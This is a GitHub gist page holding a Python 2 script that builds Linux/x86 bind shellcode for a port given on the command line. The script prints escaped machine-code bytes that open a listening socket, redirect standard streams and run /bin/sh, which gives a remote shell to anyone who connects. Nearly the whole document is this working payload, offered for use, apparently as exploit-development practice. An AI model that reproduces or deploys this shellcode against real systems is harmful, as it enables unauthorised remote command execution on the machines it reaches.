Skip to content

Instantly share code, notes, and snippets.

@AdityaChaudhary
Created January 6, 2019 17:31
Show Gist options
  • Save AdityaChaudhary/c6e5edb98544199507661867dc13ea0c to your computer and use it in GitHub Desktop.
Save AdityaChaudhary/c6e5edb98544199507661867dc13ea0c to your computer and use it in GitHub Desktop.
Linux/x86 Bind Shellcode Generator
# Python Shellcode Generator
# Paste the shell code and use command line args to provide port number
# python shellcode_gen.py 7777
#!/bin/python
import sys, struct
if (len(sys.argv) < 2):
print "[#] Error: Please provide port number"
else:
port = int(sys.argv[1])
print "[#] Generating bind shellcode (listening port " + str(port) + ")..."
port = "\\x"+struct.pack('<L',port).encode('hex')[2:4]+"\\x"+struct.pack('<L',port).encode('hex')[:2]
shellcode = "\\x31\\xc0\\x50\\x40\\x50\\x89\\xc3\\x40\\x50\\x89\\xe1\\xb0\\x66\\xcd\\x80\\x89\\xc6\\x31\\xdb\\x53\\x66\\x68" + port + "\\x66\\x6a\\x02\\x89\\xe1\\x6a\\x10\\x51\\x50\\x89\\xe1\\xb3\\x02\\xb0\\x66\\xcd\\x80\\x31\\xdb\\x53\\x56\\x89\\xe1\\xb3\\x04\\xb0\\x66\\xcd\\x80\\x31\\xdb\\x53\\x53\\x56\\x89\\xe1\\xb3\\x05\\xb0\\x66\\xcd\\x80\\x89\\xd9\\x83\\xe9\\x03\\x89\\xc3\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x31\\xc9\\x89\\xca\\x51\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\xb0\\x0b\\xcd\\x80"
print shellcode
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment